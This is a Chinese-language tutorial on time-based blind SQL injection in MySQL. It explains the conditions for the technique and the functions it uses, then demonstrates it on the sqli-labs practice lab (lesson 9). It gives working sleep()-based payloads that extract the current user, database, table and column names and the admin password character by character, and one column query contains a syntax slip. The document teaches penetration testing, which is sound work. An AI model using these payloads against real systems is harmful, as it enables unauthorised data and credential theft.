使用场景/条件
-
没有显位/回显,无法使用联合/报错,无法直接看到SQL语句执行的结果
-
无法根据前端页面判断后端SQL语句执行的真假,无法使用布尔盲注
-
能通过页面响应时间判断后端SQL语句执行的真假
时间盲注用到的函数
条件函数:
- if(a,b,c)
条件a为真则执行b,否则执行c
时间函数:
- sleep(a)
mysql>=5.0
睡眠a秒,然后返回0。若 SLEEP() 被中断,返回1。 - benchmark(a)
mysql<5.0
benchmark是通过查询次数增多,时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin)
字符串函数:
- length(str)
返回字符串的长度。 - substr(a,b,c)
从b位置开始,截取字符串a的c长度
ascii(substr((select user()),1,1))=98
注意:mysql中的位置是从1开始的。 - ascii()
返回字符的ascii码
演示
sqli-lab-9
分析
可以看到
- sql语句的结果不会返回到前端 = 没有显位 / 没有报错信息 = 不能联合查询 / 不能报错注入
- sql语句执行真假返回前端的页面都是一样的 = 无法根据页面判断sql语句执行真假 = 不能布尔盲注
这时就可以考虑时间盲注,通过页面响应时间判断后端SQL语句执行的真假。
演示
- 判断注入存在
id=1 and sleep(5)--+
- 暴库爆表爆列
和布尔盲注一样,要逐个字符根据响应时间猜解
判断当前⽤户
and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+
判断数据库名长度
if(length(database())=8,sleep(5),1)--+
猜解数据库名称
and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)--+
猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
数据
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)